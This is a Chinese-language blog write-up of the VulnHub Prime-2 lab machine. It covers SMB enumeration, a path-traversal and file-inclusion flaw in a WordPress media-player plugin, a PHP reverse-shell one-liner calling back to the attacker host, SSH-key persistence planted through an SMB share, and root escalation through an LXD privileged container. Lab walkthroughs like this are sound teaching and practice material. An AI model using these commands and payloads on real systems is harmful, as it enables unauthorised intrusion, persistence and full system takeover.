VulnHub-Prime-2

环境


Kali: 192.168.132.131

靶机:192.168.132.147 靶机地址:http://www.vulnhub.com/entry/prime-2021-2,696/

一、信息收集


nmap -sP 192.168.132.0/24

nmap -p- -sC -sV 192.168.132.147


检查 smb 共享文件夹

smbclient -L 192.168.132.147


进入smb 共享文件夹,找到shell.php

smbclient //192.168.132.147/welcome

下载查看

发现用户名

gobuster dir -u http://192.168.132.147 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 400,403,404,500 -t 100 -x .php,.html,.txt,.bak,.zip

二、漏洞探测


检查 wordpress 的漏洞,发现 1 个用户和 1 个易受攻击的插件。

wpscan --url http://192.168.132.147/wp/ -e u,ap


该插件存在文件包含漏洞

查看漏洞说明

三、漏洞验证


进行验证

curl 'http://192.168.132.147/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd'

curl 'http://192.168.132.147/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=id'

http://192.168.132.147:10123/

存在目录遍历漏洞,存在一句话木马,可以进行尝试进行文本包含漏洞执行脚本进行反弹shell

利用漏洞

php -r '$sock=fsockopen(getenv("192.168.132.131"),getenv("4444"));exec("/bin/sh -i <&3 >&3 2>&3");'
http://192.168.132.147:10123/upload/shell.php?cmd=php%20-r%20'%24sock%3dfsockopen(getenv(%22192.168.132.131%22)%2cgetenv(%224444%22))%3bexec(%22%2fbin%2fsh%20-i%20%3c%263%20%3e%263%202%3e%263%22)%3b'

开启监听端口,接收反弹shell

发现用户jarves的家为smb共享文件,进行上传rsa密钥,进而免密码进行ssh登录到jarves

在攻击机中生成rsa的公钥和私钥

将公钥id_rsa.pub追加到authorized_keys中,并验证两者内容是否一致

cat id_rsa.pub >> authorized_keys

进入smb共享文件夹,并创建.ssh文件,将authorized_keys文件上传到.ssh文件夹内

smbclient //192.168.132.147/welcome

攻击机的使用ssh免密进行登录,验证当前用户

四、提权


获得jarves用户权限,验证用户jarves是LXD组的成员,接下来使用lxd漏洞进行提权

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

在攻击机上开启临时http服务

使靶机访问并下载

lxd init
lxc image import ./alpine-v3.13-x86_64-20210608_1525.tar.gz --alias myimage

lxc image list

lxd init alpine:v3.12 mypool
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite | lxc exec ignite /bin/sh

获得root权限

将authorized_keys文件上传到root/.ssh文件中实现远程ssh免密登录

进入/mnt/root内,这个目录包含所有宿主机文件

进入root/.ssh目录中,将靶机中authorized_keys文件删除,将攻击机中的authorized_keys文件下载到.ssh文件夹

chmod 600 authorized_keys

攻击机的使用ssh免密进行登录,验证当前用户root

五、总结


使用nmap扫描端口,检查smb共享文件夹,发现获得shell的脚本和用户名,使用gobuster目录扫描,发现目录wp特征为CMS框架,使用wpscan工具扫描该CMS框架,发现gracemdia-media-player插件,使用searchsploit工具搜索该插件的漏洞,存在文件包含漏洞,与该网站10123端口下脚本组合利用,反弹shell,发现用户jarves的家为smb共享文件,通过smb共享文件夹上传攻击机的公钥,进而免密码进行ssh登录到jarves,获得jarves用户权限,验证用户jarves是LXD组的成员,接下来使用lxd漏洞进行提权,获得root权限。

注:LXD是一个root进程,它可以负责执行任意用户的LXD UNIX套接字写入访问操作。而且在某些情况下,LXD甚至都不会对调用它的用户权限进行检查和匹配。

posted @ 2021-09-24 23:30  纸机  阅读(282)  评论(0编辑  收藏  举报